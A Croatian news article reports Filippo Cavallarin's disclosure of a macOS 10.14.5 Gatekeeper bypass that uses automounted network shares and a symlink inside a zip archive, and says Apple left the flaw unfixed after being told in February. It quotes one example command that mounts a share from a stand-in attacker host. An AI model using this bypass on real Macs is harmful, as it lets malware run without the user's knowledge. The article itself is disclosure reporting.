Lako je instalirati zlonamjernu aplikaciju na Mac. Apple ni nakon tri mjeseca nije ispravio grešku

Sigurnosni istraživač Filippo Cavallarin objavio je upozorenje o bugu u macOS 10.14.5 na svom blogu. To se sastoji u mogućnosti potpunog zaobilaženja Gatekeeperovih sigurnosnih mjera. Prema riječima Cavallarina, on je Appleu na pogrešku ukazao još u veljači ove godine, no kompanija je nije popravila u najnovijem ažuriranju.

Gatekeeper je razvio Apple i prvi put ga ugradio u svoj desktop operativni sustav 2012. To je mehanizam koji sprječava pokretanje aplikacije bez znanja i pristanka korisnika. Nakon što preuzmete aplikaciju, Gatekeeper automatski provjerava njen kod da vidi je li softver ispravno potpisan od strane Applea.

U svom postu na blogu Cavallarin navodi da Gatekeeper prema zadanim postavkama smatra i vanjsku pohranu i mrežna dijeljenja sigurnim lokacijama. Svaka aplikacija koja se nalazi u tim ciljevima stoga se može automatski pokrenuti bez prolaska kroz Gatekeeper provjeru. To je značajka koja se može iskoristiti za pokretanje zlonamjernog softvera bez znanja korisnika.

Jedan aspekt koji dopušta neovlašteni pristup je značajka automatskog montiranja, koja korisnicima omogućuje automatsko montiranje mrežnog dijeljenja jednostavnim navođenjem staze koja počinje s "/net/". Kao primjer, Cavallarin navodi stazu "ls /net/evil-attacker.com/sharedfolder/" koja može uzrokovati da operativni sustav učita sadržaj mape "sharefolder" na udaljenoj lokaciji koja može biti potencijalno zlonamjerna.

Kako prijetnja djeluje možete pogledati u videu:

Drugi čimbenik je činjenica da ako se dijeli zip arhiva koja sadrži određenu simboličku vezu koja vodi do funkcije automatskog montiranja, Gatekeeper je neće provjeriti. Na taj način žrtva može jednostavno preuzeti zlonamjernu arhivu i raspakirati je, dopuštajući napadaču pokretanje gotovo bilo kojeg softvera na Macu bez znanja korisnika. Finder, koji prema zadanim postavkama skriva određena proširenja, također ima svoj udio u ovoj ranjivosti.

Cavallarin na svom blogu navodi kako je Apple 22. veljače ove godine skrenuo pozornost na ranjivost operativnog sustava macOS. No sredinom svibnja Apple je prekinuo komunikaciju s Cavallarinom pa je Cavallarin odlučio cijelu stvar objaviti.

Izvor: FCVL